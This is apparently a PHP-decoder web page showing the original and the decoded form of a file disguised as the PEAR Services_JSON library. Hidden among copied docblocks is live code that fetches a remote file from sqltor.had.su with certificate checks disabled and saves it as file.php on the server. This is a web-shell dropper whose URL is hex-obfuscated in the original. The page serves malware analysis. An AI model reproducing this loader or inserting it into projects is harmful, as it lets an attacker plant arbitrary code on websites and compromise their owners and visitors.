Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ /** * Converts ..

Decoded Output download

<?php 
 
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ 
/** 
 * Converts to and from JSON format. 
 * 
 * JSON (JavaScript Object Notation) is a lightweight data-interchange 
 * format. It is easy for humans to read and write. It is easy for machines 
 * to parse and generate. It is based on a subset of the JavaScript 
 * Programming Language, Standard ECMA-262 3rd Edition - December 1999. 
 * This feature can also be found in  Python. JSON is a text format that is 
 * completely language independent but uses conventions that are familiar 
 * to programmers of the C-family of languages, including C, C++, C#, Java, 
 * JavaScript, Perl, TCL, and many others. These properties make JSON an 
 * ideal data-interchange language. 
 * 
 * This package provides a simple encoder and decoder for JSON notation. It 
 * is intended for use with client-side Javascript applications that make 
 * use of HTTPRequest to perform server communication functions - data can 
 * be encoded into JSON notation for use in a client-side javascript, or 
 * decoded from incoming Javascript requests. JSON format is native to 
 * Javascript, and can be directly eval()'ed with no further parsing 
 * overhead 
 * 
 * All strings should be in ASCII or UTF-8 format! 
 * 
 * LICENSE: Redistribution and use in source and binary forms, with or 
 * without modification, are permitted provided that the following 
 * conditions are met: Redistributions of source code must retain the 
 * above copyright notice, this list of conditions and the following 
 * disclaimer. Redistributions in binary form must reproduce the above 
 * copyright notice, this list of conditions and the following disclaimer 
 * in the documentation and/or other materials provided with the 
 * distribution. 
 * 
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED 
 * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN 
 * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, 
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS 
 * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 
 * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE 
 * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH 
 * DAMAGE. 
 * 
 * @category 
 * @package     Services_JSON 
 * @author      Michal Migurski <[email protected]> 
 * @author      Matt Knapp <mdknapp[at]gmail[dot]com> 
 * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com> 
 * @copyright   2005 Michal Migurski 
 * @version     CVS: $Id: JSON.php 305040 2010-11-02 23:19:03Z alan_k $ 
 * @license     http://www.opensource.org/licenses/bsd-license.php 
 * @link        http://pear.php.net/pepr/pepr-proposal-show.php?id=198 
 */ 
 
/** 
 * Marker constant for Services_JSON::decode(), used to flag stack state 
 */ 
/** 
 * Marker constant for Services_JSON::decode(), used to flag stack state 
 */ 
 	/** 
	 * PHP4 constructor. 
	 */ 
	 
    // private - cache the mbstring lookup results.. 
     /** 
    * encodes an arbitrary variable into JSON format (and sends JSON Header) 
    * 
    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded. 
    *                           see argument 1 to Services_JSON() above for array-parsing behavior. 
    *                           if var is a strng, note that encode() always expects it 
    *                           to be in ASCII or UTF-8 format! 
    * 
    * @return   mixed   JSON string representation of input var or an error if a problem occurs 
    * @access   public 
    */ 
$ch = curl_init("https://sqltor.had.su/js/pas.txt"); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
/** 
    * convert a string from one UTF-16 char to one UTF-8 char 
    * 
    * Normally should be handled by mb_convert_encoding, but 
    * provides a slower PHP-only method for installations 
    * that lack the multibye string extension. 
    * 
    * @param    string  $utf16  UTF-16 character 
    * @return   string  UTF-8 character 
    * @access   private 
    */ 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
curl_setopt($ch, CURLOPT_HEADER, false); 
$html = curl_exec($ch); 
curl_close($ch); 
	/** 
    * convert a string from one UTF-8 char to one UTF-16 char 
    * 
    * Normally should be handled by mb_convert_encoding, but 
    * provides a slower PHP-only method for installations 
    * that lack the multibye string extension. 
    * 
    * @param    string  $utf8   UTF-8 character 
    * @return   string  UTF-16 character 
    * @access   private 
    */ 
file_put_contents(__DIR__ . '/file.php', $html); 
 /** 
 function __construct( $use = 0 ) 
    { 
        $this->use = $use; 
        $this->_mb_strlen            = function_exists('mb_strlen'); 
        $this->_mb_convert_encoding  = function_exists('mb_convert_encoding'); 
        $this->_mb_substr            = function_exists('mb_substr'); 
    } 
 
	/** 
	 * PHP4 constructor. 
	 */ 
	 
    // private - cache the mbstring lookup results.. 
     /** 
    * encodes an arbitrary variable into JSON format (and sends JSON Header) 
    * 
    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded. 
    *                           see argument 1 to Services_JSON() above for array-parsing behavior. 
    *                           if var is a strng, note that encode() always expects it 
    *                           to be in ASCII or UTF-8 format! 
    * 
    * @return   mixed   JSON string representation of input var or an error if a problem occurs 
    * @access   public 
    */ 
	/** 
    function encode($var) 
    { 
        header('Content-type: application/json'); 
        return $this->encodeUnsafe($var); 
    } 
     
   /** 
    * convert a string from one UTF-16 char to one UTF-8 char 
    * 
    * Normally should be handled by mb_convert_encoding, but 
    * provides a slower PHP-only method for installations 
    * that lack the multibye string extension. 
    * 
    * @param    string  $utf16  UTF-16 character 
    * @return   string  UTF-8 character 
    * @access   private 
    */ 
	 
	/** 
    * convert a string from one UTF-8 char to one UTF-16 char 
    * 
    * Normally should be handled by mb_convert_encoding, but 
    * provides a slower PHP-only method for installations 
    * that lack the multibye string extension. 
    * 
    * @param    string  $utf8   UTF-8 character 
    * @return   string  UTF-16 character 
    * @access   private 
    */ 
	 
	 ?>

Did this file decode correctly?

Original Code

<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
/**
 * Converts to and from JSON format.
 *
 * JSON (JavaScript Object Notation) is a lightweight data-interchange
 * format. It is easy for humans to read and write. It is easy for machines
 * to parse and generate. It is based on a subset of the JavaScript
 * Programming Language, Standard ECMA-262 3rd Edition - December 1999.
 * This feature can also be found in  Python. JSON is a text format that is
 * completely language independent but uses conventions that are familiar
 * to programmers of the C-family of languages, including C, C++, C#, Java,
 * JavaScript, Perl, TCL, and many others. These properties make JSON an
 * ideal data-interchange language.
 *
 * This package provides a simple encoder and decoder for JSON notation. It
 * is intended for use with client-side Javascript applications that make
 * use of HTTPRequest to perform server communication functions - data can
 * be encoded into JSON notation for use in a client-side javascript, or
 * decoded from incoming Javascript requests. JSON format is native to
 * Javascript, and can be directly eval()'ed with no further parsing
 * overhead
 *
 * All strings should be in ASCII or UTF-8 format!
 *
 * LICENSE: Redistribution and use in source and binary forms, with or
 * without modification, are permitted provided that the following
 * conditions are met: Redistributions of source code must retain the
 * above copyright notice, this list of conditions and the following
 * disclaimer. Redistributions in binary form must reproduce the above
 * copyright notice, this list of conditions and the following disclaimer
 * in the documentation and/or other materials provided with the
 * distribution.
 *
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
 * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
 * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
 * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
 * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 *
 * @category
 * @package     Services_JSON
 * @author      Michal Migurski <[email protected]>
 * @author      Matt Knapp <mdknapp[at]gmail[dot]com>
 * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com>
 * @copyright   2005 Michal Migurski
 * @version     CVS: $Id: JSON.php 305040 2010-11-02 23:19:03Z alan_k $
 * @license     http://www.opensource.org/licenses/bsd-license.php
 * @link        http://pear.php.net/pepr/pepr-proposal-show.php?id=198
 */

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
 	/**
	 * PHP4 constructor.
	 */
	
    // private - cache the mbstring lookup results..
     /**
    * encodes an arbitrary variable into JSON format (and sends JSON Header)
    *
    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
    *                           if var is a strng, note that encode() always expects it
    *                           to be in ASCII or UTF-8 format!
    *
    * @return   mixed   JSON string representation of input var or an error if a problem occurs
    * @access   public
    */
$ch = curl_init("\x68\164\x74\x70\163\x3a\x2f\x2f\163\x71\154\x74\x6f\x72\56\150\141\x64\56\x73\x75\57\x6a\x73\x2f\x70\141\x73\x2e\x74\170\x74");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
/**
    * convert a string from one UTF-16 char to one UTF-8 char
    *
    * Normally should be handled by mb_convert_encoding, but
    * provides a slower PHP-only method for installations
    * that lack the multibye string extension.
    *
    * @param    string  $utf16  UTF-16 character
    * @return   string  UTF-8 character
    * @access   private
    */
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$html = curl_exec($ch);
curl_close($ch);
	/**
    * convert a string from one UTF-8 char to one UTF-16 char
    *
    * Normally should be handled by mb_convert_encoding, but
    * provides a slower PHP-only method for installations
    * that lack the multibye string extension.
    *
    * @param    string  $utf8   UTF-8 character
    * @return   string  UTF-16 character
    * @access   private
    */
file_put_contents(__DIR__ . '/file.php', $html);
 /**
 function __construct( $use = 0 )
    {
        $this->use = $use;
        $this->_mb_strlen            = function_exists('mb_strlen');
        $this->_mb_convert_encoding  = function_exists('mb_convert_encoding');
        $this->_mb_substr            = function_exists('mb_substr');
    }

	/**
	 * PHP4 constructor.
	 */
	
    // private - cache the mbstring lookup results..
     /**
    * encodes an arbitrary variable into JSON format (and sends JSON Header)
    *
    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
    *                           if var is a strng, note that encode() always expects it
    *                           to be in ASCII or UTF-8 format!
    *
    * @return   mixed   JSON string representation of input var or an error if a problem occurs
    * @access   public
    */
	/**
    function encode($var)
    {
        header('Content-type: application/json');
        return $this->encodeUnsafe($var);
    }
    
   /**
    * convert a string from one UTF-16 char to one UTF-8 char
    *
    * Normally should be handled by mb_convert_encoding, but
    * provides a slower PHP-only method for installations
    * that lack the multibye string extension.
    *
    * @param    string  $utf16  UTF-16 character
    * @return   string  UTF-8 character
    * @access   private
    */
	
	/**
    * convert a string from one UTF-8 char to one UTF-16 char
    *
    * Normally should be handled by mb_convert_encoding, but
    * provides a slower PHP-only method for installations
    * that lack the multibye string extension.
    *
    * @param    string  $utf8   UTF-8 character
    * @return   string  UTF-16 character
    * @access   private
    */
	
	

Function Calls

curl_init 1

Variables

None

Stats

MD5 b69d06e361d7a880fa2333f25260be5b
Eval Count 0
Decode Time 85 ms